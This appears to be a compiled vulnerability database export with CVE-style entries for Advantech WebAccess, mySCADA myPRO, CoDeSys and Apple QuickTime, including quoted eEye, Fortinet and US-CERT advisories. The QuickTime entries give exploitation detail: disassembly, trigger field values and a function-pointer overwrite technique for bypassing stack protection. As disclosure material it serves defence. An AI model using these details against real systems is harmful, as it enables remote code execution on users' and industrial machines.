|
var-201801-0152
|
An Untrusted Pointer Dereference issue was discovered in Advantech WebAccess versions prior to 8.3. There are multiple vulnerabilities that may allow an attacker to cause the program to use an invalid memory address, resulting in a program crash. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x27eb IOCTL in the webvrpcs process. An attacker can leverage this functionality to execute code under the context of Administrator. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. A denial of service vulnerability exists in versions prior to Advantech WebAccess 8.3 |
|
var-202004-0077
|
There are multiple ways an unauthenticated attacker could perform SQL injection on WebAccess/NMS (versions prior to 3.0.2) to gain access to sensitive information. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Advantech WebAccess/NMS. Authentication is not required to exploit this vulnerability.The specific flaw exists within the processing of calls to the DeviceData/Performance endpoint. When parsing the mac parameter, the process does not properly validate a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to disclose information in the context of SYSTEM. Advantech WebAccess/NMS is a set of Web browser-based Network Management System (NMS) software package developed by China Taiwan Advantech Corporation. There is a SQL injection vulnerability in Advantech WebAccess/NMS versions earlier than 3.0.2 |
|
var-202411-1369
|
A parameter within a command does not properly validate input within myPRO Manager which could be exploited by an unauthenticated remote attacker to inject arbitrary operating system commands. mySCADA myPRO is a professional HMI/SCADA system designed primarily for visualization and control of industrial processes |
|
var-202411-1372
|
The web application uses a weak authentication mechanism to verify that a request is coming from an authenticated and authorized resource. mySCADA myPRO is a professional HMI/SCADA system designed for visualization and control of industrial processes.
mySCADA myPRO Manager has an authorization vulnerability that allows attackers to submit special requests and access resources without authorization |
|
var-202411-1370
|
An OS Command Injection vulnerability exists within myPRO Manager. A parameter within a command can be exploited by an unauthenticated remote attacker to inject arbitrary operating system commands. mySCADA myPRO is a professional HMI/SCADA system designed primarily for visualization and control of industrial processes |
|
var-202411-1371
|
The administrative interface listens by default on all interfaces on a TCP port and does not require authentication when being accessed. mySCADA myPRO is a professional HMI/SCADA system designed primarily for visualization and control of industrial processes.
mySCADA myPRO Manager has an access control error vulnerability that allows attackers to submit special requests and gain unauthorized access to resources |
|
var-202411-1373
|
The back-end does not sufficiently verify the user-controlled filename parameter which makes it possible for an attacker to perform a path traversal attack and retrieve arbitrary files from the file system. mySCADA myPRO is a professional HMI/SCADA system designed primarily for visualization and control of industrial processes.
mySCADA myPRO Manager has a directory traversal vulnerability that an attacker can exploit to submit special requests to view system file contents in the context of the application and obtain sensitive information |
|
var-200512-0300
|
Heap-based buffer overflow in Apple Quicktime before 7.0.4 allows remote attackers to execute arbitrary code via a GIF image file with a crafted Netscape Navigator Application Extension Block that modifies the heap in the Picture Modifier block. Apple's QuickTime is a player for files and streaming media in a variety of different formats. A flaw in QuickTime's handling of Targa (TGA) image format files could allow a remote attacker to execute arbitrary code on a vulnerable system. Apple From QuickTime Version that fixes multiple vulnerabilities in 7.0.4 Has been released.Arbitrary code may be executed by a remote third party, DoS You can be attacked. For more information, see the information provided by the vendor. QuickTime is prone to a remote heap-based overflow vulnerability.
This issue presents itself when the application processes a specially crafted GIF image file.
A successful attack can result in a remote compromise.
Versions prior to QuickTime 7.0.4 are vulnerable.
This flaw has proven to allow for reliable control of data on the heap chunk and can be exploited via a web site by using ActiveX controls. The heap can be overwritten in the Picture Modifier block.
The block size calculate code such as:
.text:66A339CC mov ax, [esi+0Ch]
.text:66A339D0 xor ecx, ecx
.text:66A339D2 mov [esp+34h+var_28], ecx
.text:66A339D6 mov [esp+34h+var_24], ecx
.text:66A339DA mov [esp+34h+var_20], ecx
.text:66A339DE mov [esp+34h+var_1C], ecx
.text:66A339E2 mov word ptr [esp+34h+var_10], cx
.text:66A339E7 mov [esp+34h+arg_4], eax
.text:66A339EB movsx eax, ax
.text:66A339EE mov word ptr [esp+34h+var_10+2], cx
.text:66A339F3 mov cx, [esi+8]
.text:66A339F7 movsx edx, cx
.text:66A339FA sub eax, edx
.text:66A339FC movsx edx, word ptr [esi+6]
.text:66A33A00 add eax, 3Eh
.text:66A33A03 push edi
.text:66A33A04 movsx edi, word ptr [esi+0Ah]
.text:66A33A08 sar eax, 3
.text:66A33A0B lea ebx, [esi+6]
.text:66A33A0E and eax, 0FFFFFFFCh
.text:66A33A11 sub edi, edx
.text:66A33A13 movsx edx, ax
.text:66A33A16 mov [esi+4], ax
.text:66A33A1A imul edi, edx
The allocate code is :
.text:66A33A68 push edi
.text:66A33A69 call sub_668B5B30
But when it real process data to this memory, it use real decode data to write this memory
but didn\xa1\xaft check this heap size. This is segment of the write code function(sub_66AE0A70):
.text:66AE0B18 movsx edx, word ptr [edi+12h] ; default
.text:66AE0B1C imul edx, [edi+0Ch]
.text:66AE0B20 mov ecx, [edi+4]
.text:66AE0B23 inc word ptr [edi+16h]
.text:66AE0B27 mov eax, [esp+arg_0]
.text:66AE0B2B add edx, ecx
.text:66AE0B2D mov [eax], edx
.text:66AE0B2F mov eax, [ebp+10h]
.text:66AE0B32 test eax, eax
.text:66AE0B34 jz short loc_66AE0B62
.text:66AE0B36 mov ax, [ebp+1Ch]
.text:66AE0B3A mov edx, [ebp+0Ch]
.text:66AE0B3D movzx cx, ah
.text:66AE0B41 mov ch, al
.text:66AE0B43 mov [edx], cx
.text:66AE0B46 movsx eax, word ptr [edi+12h]
.text:66AE0B4A imul eax, [ebp+14h]
.text:66AE0B4E add eax, [ebp+10h]
.text:66AE0B51 mov cx, [ebp+18h]
.text:66AE0B55 mov [ebp+0Ch], eax
.text:66AE0B58 mov [ebp+1Ah], cx
.text:66AE0B5C mov word ptr [ebp+1Ch], 0
Vendor Status:
Apple has released a patch for this vulnerability. An attacker can create a qtif file and send
it to the user via email, web page, or qtif file with activex and can
directy overflow a function pointer immediately used so it can bypass
any stack overflow protection in systems such as xp sp2 and 2003 sp1.
Technical Details:
When Quicktime processes the data field of a qtif format file, it will
copy it to the stack by a byte to a byte , but there is no proper
checking, so it will cause a stack overflow in memory. And in this
stack, there is a function pointer which will be used immediately when
it pre byte copies, so we can use it to bypass any stack overflow
protection, such in xp sp2 and 2003 sp1.
The origin function point value is 0x44332211. We only need to overflow
it to : 0x08332211, ensuring it didn't cause a crash before the 0x44 has
been overflowed to 0x08. When it overflows to 0x08332211, we can
execute code to 0x08332211, and can first use javascript to get this
memory and set my code in it.
call [esp+138h+arg_4] <- call a function point in the stack, but this
point can be overflowed
References
QuickTime: QuickTime File Format
http://developer.apple.com/documentation/QuickTime/QTFF/index.html
Protection:
Retina Network Security Scanner has been updated to identify this
vulnerability.
Vendor Status:
Apple has released a patch for this vulnerability. The patch is
available via the Updates section of the affected applications.
This vulnerability has been assigned the CVE identifier CVE-2005-2340.
Credit:
Discovery: Fang Xing
Greetings:
Thanks to all the guys at eEye, and especially Karl Lynn's help.
Copyright (c) 1998-2006 eEye Digital Security
Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express
consent of eEye. If you wish to reprint the whole or any part of this
alert in any other medium excluding electronic medium, please email
alert@eEye.com for permission.
Disclaimer
The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are no warranties, implied or express, with regard to this information.
In no event shall the author be liable for any direct or indirect
damages whatsoever arising out of or in connection with the use or
spread of this information.
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
National Cyber Alert System
Technical Cyber Security Alert TA06-011A
Apple QuickTime Vulnerabilities
Original release date: January 11, 2006
Last revised: January 11, 2006
Source: US-CERT
Systems Affected
Apple QuickTime on systems running
* Apple Mac OS X
* Microsoft Windows XP
* Microsoft Windows 2000
Overview
Apple has released QuickTime 7.0.4 to correct multiple
vulnerabilities. The impacts of these vulnerabilities include
execution of arbitrary code and denial of service.
I. Description
Apple QuickTime 7.0.4 resolves a number of image and media file
handling vulnerabilities.
(CAN-2005-3713)
II. Impact
The impacts of these vulnerabilities vary. For information about
specific impacts, please see the Vulnerability Notes. Potential
consequences include remote execution of arbitrary code or commands
and denial of service.
III. Solution
Upgrade
Upgrade to QuickTime 7.0.4.
Appendix A. References
* US-CERT Vulnerability Note VU#629845 -
<http://www.kb.cert.org/vuls/id/629845>
* US-CERT Vulnerability Note VU#921193 -
<http://www.kb.cert.org/vuls/id/921193>
* US-CERT Vulnerability Note VU#115729 -
<http://www.kb.cert.org/vuls/id/115729>
* US-CERT Vulnerability Note VU#150753 -
<http://www.kb.cert.org/vuls/id/150753>
* US-CERT Vulnerability Note VU#913449 -
<http://www.kb.cert.org/vuls/id/913449>
* CVE-2005-2340 -
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2340>
* CVE-2005-4092 -
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4092>
* CVE-2005-3707 -
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3707>
* CVE-2005-3710 -
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3710>
* CVE-2005-3713 -
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3713>
* Security Content for QuickTime 7.0.4 -
<http://docs.info.apple.com/article.html?artnum=303101>
* QuickTime 7.0.4 -
<http://www.apple.com/support/downloads/quicktime704.html>
* About the Mac OS X 10.4.4 Update (Delta) -
<http://docs.info.apple.com/article.html?artnum=302810>
____________________________________________________________________
The most recent version of this document can be found at:
<http://www.us-cert.gov/cas/techalerts/TA06-011A.html>
____________________________________________________________________
Feedback can be directed to US-CERT Technical Staff. Please send
email to <cert@cert.org> with "TA06-011A Feedback VU#913449" in the
subject.
____________________________________________________________________
For instructions on subscribing to or unsubscribing from this
mailing list, visit <http://www.us-cert.gov/cas/signup.html>.
____________________________________________________________________
Produced 2006 by US-CERT, a government organization.
Terms of use:
<http://www.us-cert.gov/legal.html>
____________________________________________________________________
Revision History
January 11, 2006: Initial release
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|
|
var-200512-0643
|
Heap-based buffer overflow in Apple Quicktime before 7.0.4 allows remote attackers to execute arbitrary code via a crafted (1) QuickTime Image File (QTIF), (2) PICT, or (3) JPEG format image with a long data field. Apple's QuickTime is a player for files and streaming media in a variety of different formats. QuickTime is prone to a remote heap-based overflow vulnerability.
This issue presents itself when the application processes a specially crafted QTIF (QuickTime Image) file.
A successful attack can result in a remote compromise. Apple QuickTime is prone to a buffer-overflow vulnerability because the application fails to do proper bounds checking on user-supplied data before copying it to finite-sized process buffers. Unsuccessful exploit attempts will most likely crash the application.
This issue affects QuickTime 6.5.2 and 7.0.3; other versions may also be vulnerable. QuickTime 7.0.4 may also be vulnerable, but this has not been confirmed.
This issue may have previously been discussed in BID 16202 (Apple QuickTime Multiple Code Execution Vulnerabilities). Quicktime will copy to the stack byte by byte when processing the data field of the qtif format file, but it does not perform the correct check, so it will cause a stack overflow in memory. The original function pointer value is 0x44332211. Just overflow it to 0x08332211 and make sure it doesn't crash before overflowing 0x44 to 0x08, and the code will execute.
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
National Cyber Alert System
Technical Cyber Security Alert TA06-011A
Apple QuickTime Vulnerabilities
Original release date: January 11, 2006
Last revised: January 11, 2006
Source: US-CERT
Systems Affected
Apple QuickTime on systems running
* Apple Mac OS X
* Microsoft Windows XP
* Microsoft Windows 2000
Overview
Apple has released QuickTime 7.0.4 to correct multiple
vulnerabilities. The impacts of these vulnerabilities include
execution of arbitrary code and denial of service.
I.
(CAN-2005-3713)
II. Impact
The impacts of these vulnerabilities vary. For information about
specific impacts, please see the Vulnerability Notes. Potential
consequences include remote execution of arbitrary code or commands
and denial of service.
III. Solution
Upgrade
Upgrade to QuickTime 7.0.4.
Appendix A. References
* US-CERT Vulnerability Note VU#629845 -
<http://www.kb.cert.org/vuls/id/629845>
* US-CERT Vulnerability Note VU#921193 -
<http://www.kb.cert.org/vuls/id/921193>
* US-CERT Vulnerability Note VU#115729 -
<http://www.kb.cert.org/vuls/id/115729>
* US-CERT Vulnerability Note VU#150753 -
<http://www.kb.cert.org/vuls/id/150753>
* US-CERT Vulnerability Note VU#913449 -
<http://www.kb.cert.org/vuls/id/913449>
* CVE-2005-2340 -
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2340>
* CVE-2005-4092 -
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4092>
* CVE-2005-3707 -
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3707>
* CVE-2005-3710 -
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3710>
* CVE-2005-3713 -
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3713>
* Security Content for QuickTime 7.0.4 -
<http://docs.info.apple.com/article.html?artnum=303101>
* QuickTime 7.0.4 -
<http://www.apple.com/support/downloads/quicktime704.html>
* About the Mac OS X 10.4.4 Update (Delta) -
<http://docs.info.apple.com/article.html?artnum=302810>
____________________________________________________________________
The most recent version of this document can be found at:
<http://www.us-cert.gov/cas/techalerts/TA06-011A.html>
____________________________________________________________________
Feedback can be directed to US-CERT Technical Staff. Please send
email to <cert@cert.org> with "TA06-011A Feedback VU#913449" in the
subject.
____________________________________________________________________
For instructions on subscribing to or unsubscribing from this
mailing list, visit <http://www.us-cert.gov/cas/signup.html>.
____________________________________________________________________
Produced 2006 by US-CERT, a government organization.
Terms of use:
<http://www.us-cert.gov/legal.html>
____________________________________________________________________
Revision History
January 11, 2006: Initial release
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|
|
var-200512-0297
|
Integer overflow in Apple Quicktime before 7.0.4 allows remote attackers to execute arbitrary code via a TIFF image file with modified image height and width (ImageWidth) tags. Apple's QuickTime is a player for files and streaming media in a variety of different formats. Apple From QuickTime Version that fixes multiple vulnerabilities in 7.0.4 Has been released.Arbitrary code may be executed by a remote third party, DoS You can be attacked. For more information, see the information provided by the vendor. QuickTime is prone to a remote integer-overflow vulnerability.
This issue presents itself when the application processes a specially crafted TIFF file.
A successful attack can result in a remote compromise.
Versions prior to QuickTime 7.0.4 are vulnerable. Fortinet Security Advisory: FSA-2006-03
Apple QuickTime Player ImageWidth Denial of Service Vulnerability
Advisory Date : January 12, 2006
Reported Date : November 28, 2005
Vendor : Apple computers
Affected Products : Apple QuickTime Player v7.0.3
Severity : Medium
Reference : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3710
http://docs.info.apple.com/article.html?artnum=303101
http://www.securityfocus.com/bid/16202/info
Description : Fortinet Security Research Team (FSRT) has
discovered a Denial of Service Vulnerability in the Apple QuickTime
Player. This is due to application failure to
sanitize the parameter ImageWidth value while parsing TIFF image files.
Impact : Denial of Service
Solution : Apple Computers has released a security update for
this vulnerability, which is available for downloading from Apples's web
site under security update.
Fortinet Protection: Fortinet is protecting network from this
vulnerability with latest IPS update.
Acknowledgment : Dejun Meng of Fortinet Security Research team found
this vulnerability.
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
National Cyber Alert System
Technical Cyber Security Alert TA06-011A
Apple QuickTime Vulnerabilities
Original release date: January 11, 2006
Last revised: January 11, 2006
Source: US-CERT
Systems Affected
Apple QuickTime on systems running
* Apple Mac OS X
* Microsoft Windows XP
* Microsoft Windows 2000
Overview
Apple has released QuickTime 7.0.4 to correct multiple
vulnerabilities. The impacts of these vulnerabilities include
execution of arbitrary code and denial of service.
I. Description
Apple QuickTime 7.0.4 resolves a number of image and media file
handling vulnerabilities.
(CAN-2005-3713)
II. Impact
The impacts of these vulnerabilities vary. For information about
specific impacts, please see the Vulnerability Notes. Potential
consequences include remote execution of arbitrary code or commands
and denial of service.
III. Solution
Upgrade
Upgrade to QuickTime 7.0.4.
Appendix A. References
* US-CERT Vulnerability Note VU#629845 -
<http://www.kb.cert.org/vuls/id/629845>
* US-CERT Vulnerability Note VU#921193 -
<http://www.kb.cert.org/vuls/id/921193>
* US-CERT Vulnerability Note VU#115729 -
<http://www.kb.cert.org/vuls/id/115729>
* US-CERT Vulnerability Note VU#150753 -
<http://www.kb.cert.org/vuls/id/150753>
* US-CERT Vulnerability Note VU#913449 -
<http://www.kb.cert.org/vuls/id/913449>
* CVE-2005-2340 -
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2340>
* CVE-2005-4092 -
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4092>
* CVE-2005-3707 -
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3707>
* CVE-2005-3710 -
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3710>
* CVE-2005-3713 -
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3713>
* Security Content for QuickTime 7.0.4 -
<http://docs.info.apple.com/article.html?artnum=303101>
* QuickTime 7.0.4 -
<http://www.apple.com/support/downloads/quicktime704.html>
* About the Mac OS X 10.4.4 Update (Delta) -
<http://docs.info.apple.com/article.html?artnum=302810>
____________________________________________________________________
The most recent version of this document can be found at:
<http://www.us-cert.gov/cas/techalerts/TA06-011A.html>
____________________________________________________________________
Feedback can be directed to US-CERT Technical Staff. Please send
email to <cert@cert.org> with "TA06-011A Feedback VU#913449" in the
subject.
____________________________________________________________________
For instructions on subscribing to or unsubscribing from this
mailing list, visit <http://www.us-cert.gov/cas/signup.html>.
____________________________________________________________________
Produced 2006 by US-CERT, a government organization.
Terms of use:
<http://www.us-cert.gov/legal.html>
____________________________________________________________________
Revision History
January 11, 2006: Initial release
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|
|
var-200512-0611
|
Multiple heap-based buffer overflows in QuickTime.qts in Apple QuickTime Player 7.0.3 and iTunes 6.0.1 (3) and earlier allow remote attackers to cause a denial of service (crash) and execute arbitrary code via a .mov file with (1) a Movie Resource atom with a large size value, or (2) an stsd atom with a modified Sample Description Table size value, and possibly other vectors involving media files. NOTE: item 1 was originally identified by CVE-2005-4127 for a pre-patch announcement, and item 2 was originally identified by CVE-2005-4128 for a pre-patch announcement. Apple's QuickTime is a player for files and streaming media in a variety of different formats. A flaw in QuickTime's handling of Targa (TGA) image format files could allow a remote attacker to execute arbitrary code on a vulnerable system. Apple From QuickTime Version that fixes multiple vulnerabilities in 7.0.4 Has been released.Arbitrary code may be executed by a remote third party, DoS You can be attacked. For more information, see the information provided by the vendor.
These issues arise when the application handles specially crafted QTIF, TGA, TIFF, and GIF image formats.
Successful exploits of these issues may allow remote attackers to trigger a denial-of-service condition or to gain unauthorized access. This issue affects both Mac OS X and Microsoft Windows releases of the software.
This issue may be triggered when the application processes a malformed movie (.MOV) file.
Successful exploitation will result in execution of arbitrary code in the context of the currently logged in user.
This issue affects Apple QuickTime 7.0.3 and iTunes 6.0.1. Earlier versions may also be affected. Multiple buffer overflow vulnerabilities exist in QuickTime.qts.
This specific flaw exists within the QuickTime.qts file which many
applications access QuickTime's functionality through. By specially
crafting atoms within a movie file, a direct heap overwrite is
triggered, and reliable code execution is then possible.
Technical Details:
Technical Description:
The code in QuickTime.qts responsible for the size of the Sample
Description Table entries from the 'stsd' atom in a QuickTime-format
movie on the heap. According to developer.apple.com, the format of the
Sample Description Atom is as follows:
Field Description
----------------------------------------------------------------
Size 32-bit int
Data Format 4 char code
Reserved 6 bytes that must be 0
Data Reference Index 16-bit int
Hint Track Version 16-bit unsigned int
Last compatible hint track version 16-bit unsigned int
Max Packet Size 32-bit int
Additional Data Table Variable
By setting the size of the Sample Description Table to a size of 00 15 -
00 D0 will cause a heap-based overflow. By supplying the "Last
compatible hint track version" field with the value of 00 05 - 00 09, an
insufficiently-sized heap block will be allocated, resulting in a
classic complete heap memory overwrite
during the RtlAllocateHeap() function and the attacker can control
memory with data taken from the filename of the .MOV file. This
vulnerability can be successfully exploited via an embedded media player
in an HTML page, email, or HTML link.
References
QuickTime: QuickTime File Format
http://developer.apple.com/documentation/QuickTime/QTFF/index.html
Protection:
Retina Network Security Scanner has been updated to identify this
vulnerability.
Vendor Status:
Apple has released a patch for this vulnerability. The patch is
available via the Updates section of the affected applications.
This vulnerability has been assigned the CVE identifier CVE-2005-4092.
Credit:
Discovery: Karl Lynn
Greetings:
0x41414141
Copyright (c) 1998-2006 eEye Digital Security
Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express
consent of eEye. If you wish to reprint the whole or any part of this
alert in any other medium excluding electronic medium, please email
alert@eEye.com for permission.
Disclaimer
The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are no warranties, implied or express, with regard to this information.
In no event shall the author be liable for any direct or indirect
damages whatsoever arising out of or in connection with the use or
spread of this information.
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
National Cyber Alert System
Technical Cyber Security Alert TA06-011A
Apple QuickTime Vulnerabilities
Original release date: January 11, 2006
Last revised: January 11, 2006
Source: US-CERT
Systems Affected
Apple QuickTime on systems running
* Apple Mac OS X
* Microsoft Windows XP
* Microsoft Windows 2000
Overview
Apple has released QuickTime 7.0.4 to correct multiple
vulnerabilities. The impacts of these vulnerabilities include
execution of arbitrary code and denial of service.
I.
(CAN-2005-3713)
II. Impact
The impacts of these vulnerabilities vary. For information about
specific impacts, please see the Vulnerability Notes.
III. Solution
Upgrade
Upgrade to QuickTime 7.0.4.
Appendix A. References
* US-CERT Vulnerability Note VU#629845 -
<http://www.kb.cert.org/vuls/id/629845>
* US-CERT Vulnerability Note VU#921193 -
<http://www.kb.cert.org/vuls/id/921193>
* US-CERT Vulnerability Note VU#115729 -
<http://www.kb.cert.org/vuls/id/115729>
* US-CERT Vulnerability Note VU#150753 -
<http://www.kb.cert.org/vuls/id/150753>
* US-CERT Vulnerability Note VU#913449 -
<http://www.kb.cert.org/vuls/id/913449>
* CVE-2005-2340 -
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2340>
* CVE-2005-4092 -
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4092>
* CVE-2005-3707 -
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3707>
* CVE-2005-3710 -
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3710>
* CVE-2005-3713 -
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3713>
* Security Content for QuickTime 7.0.4 -
<http://docs.info.apple.com/article.html?artnum=303101>
* QuickTime 7.0.4 -
<http://www.apple.com/support/downloads/quicktime704.html>
* About the Mac OS X 10.4.4 Update (Delta) -
<http://docs.info.apple.com/article.html?artnum=302810>
____________________________________________________________________
The most recent version of this document can be found at:
<http://www.us-cert.gov/cas/techalerts/TA06-011A.html>
____________________________________________________________________
Feedback can be directed to US-CERT Technical Staff. Please send
email to <cert@cert.org> with "TA06-011A Feedback VU#913449" in the
subject.
____________________________________________________________________
For instructions on subscribing to or unsubscribing from this
mailing list, visit <http://www.us-cert.gov/cas/signup.html>.
____________________________________________________________________
Produced 2006 by US-CERT, a government organization.
Terms of use:
<http://www.us-cert.gov/legal.html>
____________________________________________________________________
Revision History
January 11, 2006: Initial release
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|
|
var-200512-0294
|
Buffer overflow in Apple Quicktime before 7.0.4 allows remote attackers to execute arbitrary code via crafted TGA image files. Apple's QuickTime is a player for files and streaming media in a variety of different formats. For more information, see the information provided by the vendor. QuickTime is prone to a remote buffer-overflow vulnerability.
This issue presents itself when the application processes a specially crafted TGA image file.
A successful attack can result in a remote compromise.
Versions prior to QuickTime 7.0.4 are vulnerable. Fortinet Security Advisory: FSA-2006-04
Apple QuickTime Player Improper Memory Access Vulnerability
Advisory Date : January 12, 2006
Reported Date : November 28, 2005
Vendor : Apple computers
Affected Products : Apple QuickTime Player v7.0.3
Severity : High
Reference : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3707
http://docs.info.apple.com/article.html?artnum=303101
http://www.securityfocus.com/bid/16202/info
Description : Fortinet Security Research Team (FSRT) has
discovered a Improper Memory Access Vulnerability in the Apple QuickTime
Player.
Impact : Execute arbitrary code
Solution : Apple Computers has released a security update for
this vulnerability, which is available for downloading from Apples's web
site under security update.
Fortinet Protection: Fortinet is protecting network from this
vulnerability with latest IPS update.
Acknowledgment : Dejun Meng of Fortinet Security Research team found
this vulnerability.
Disclaimer : Although Fortinet has attempted to provide accurate
information in these materials, Fortinet assumes no legal responsibility
for the accuracy or completeness of the information. Please note that
Fortinet's product information does not constitute or contain any
guarantee, warranty or legally binding representation, unless expressly
identified as such in a duly signed writing.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
.
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
National Cyber Alert System
Technical Cyber Security Alert TA06-011A
Apple QuickTime Vulnerabilities
Original release date: January 11, 2006
Last revised: January 11, 2006
Source: US-CERT
Systems Affected
Apple QuickTime on systems running
* Apple Mac OS X
* Microsoft Windows XP
* Microsoft Windows 2000
Overview
Apple has released QuickTime 7.0.4 to correct multiple
vulnerabilities. The impacts of these vulnerabilities include
execution of arbitrary code and denial of service.
I. Description
Apple QuickTime 7.0.4 resolves a number of image and media file
handling vulnerabilities.
(CAN-2005-3713)
II. Impact
The impacts of these vulnerabilities vary. For information about
specific impacts, please see the Vulnerability Notes. Potential
consequences include remote execution of arbitrary code or commands
and denial of service.
III. Solution
Upgrade
Upgrade to QuickTime 7.0.4.
Appendix A. References
* US-CERT Vulnerability Note VU#629845 -
<http://www.kb.cert.org/vuls/id/629845>
* US-CERT Vulnerability Note VU#921193 -
<http://www.kb.cert.org/vuls/id/921193>
* US-CERT Vulnerability Note VU#115729 -
<http://www.kb.cert.org/vuls/id/115729>
* US-CERT Vulnerability Note VU#150753 -
<http://www.kb.cert.org/vuls/id/150753>
* US-CERT Vulnerability Note VU#913449 -
<http://www.kb.cert.org/vuls/id/913449>
* CVE-2005-2340 -
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2340>
* CVE-2005-4092 -
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4092>
* CVE-2005-3707 -
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3707>
* CVE-2005-3710 -
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3710>
* CVE-2005-3713 -
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3713>
* Security Content for QuickTime 7.0.4 -
<http://docs.info.apple.com/article.html?artnum=303101>
* QuickTime 7.0.4 -
<http://www.apple.com/support/downloads/quicktime704.html>
* About the Mac OS X 10.4.4 Update (Delta) -
<http://docs.info.apple.com/article.html?artnum=302810>
____________________________________________________________________
The most recent version of this document can be found at:
<http://www.us-cert.gov/cas/techalerts/TA06-011A.html>
____________________________________________________________________
Feedback can be directed to US-CERT Technical Staff. Please send
email to <cert@cert.org> with "TA06-011A Feedback VU#913449" in the
subject.
____________________________________________________________________
For instructions on subscribing to or unsubscribing from this
mailing list, visit <http://www.us-cert.gov/cas/signup.html>.
____________________________________________________________________
Produced 2006 by US-CERT, a government organization.
Terms of use:
<http://www.us-cert.gov/legal.html>
____________________________________________________________________
Revision History
January 11, 2006: Initial release
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|
|
var-201112-0097
|
Stack-based buffer overflow in the CmpWebServer component in 3S CoDeSys 3.4 SP4 Patch 2 and earlier, as used on the ABB AC500 PLC and possibly other products, allows remote attackers to execute arbitrary code via a long URI to TCP port 8080. CoDeSys is a powerful PLC software programming tool that supports IEC61131-3 standard IL, ST, FBD, LD, CFC, SFC six PLC programming languages. The GatewayService has an integer overflow. The GatewayService uses the 32-bit value offset at the header 0x0c to specify the size of the received data. The program receives this value, increasing the number of 0x34 and allocating the amount of memory can cause an integer overflow. CmpWebServer is a component of the 3SRTESrv3 and CoDeSysControlService services for handling 8080 port connections. The function 0040f480 copies the input URI to a limited stack buffer, which can trigger a buffer overflow. 3S CoDeSys handles the Content-Length value in an HTTP POST request to trigger a null pointer reference. CoDeSys is prone to a stack-based buffer-overflow and an integer-overflow vulnerability. Failed attacks may cause a denial-of-service condition |
|
var-201805-1143
|
In Advantech WebAccess versions V8.2_20170817 and prior, WebAccess versions V8.3.0 and prior, WebAccess Dashboard versions V.2.0.15 and prior, WebAccess Scada Node versions prior to 8.3.1, and WebAccess/NMS 2.0.3 and prior, several stack-based buffer overflow vulnerabilities have been identified, which may allow an attacker to execute arbitrary code. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Advantech WebAccess Node. Authentication is not required to exploit this vulnerability.The specific flaw exists within notify2.exe, which is accessed through the 0x2711 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code under the context of Administrator. Advantech WebAccess and others are products of Advantech. Advantech WebAccess is a browser-based HMI/SCADA software. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. WebAccess Dashboard is one of the dashboard components; WebAccess Scada Node is one of the monitoring node components. WebAccess/NMS is a suite of web browsers for the Network Management System (NMS). A stack buffer overflow vulnerability exists in several Advantech products |
|
var-201805-1144
|
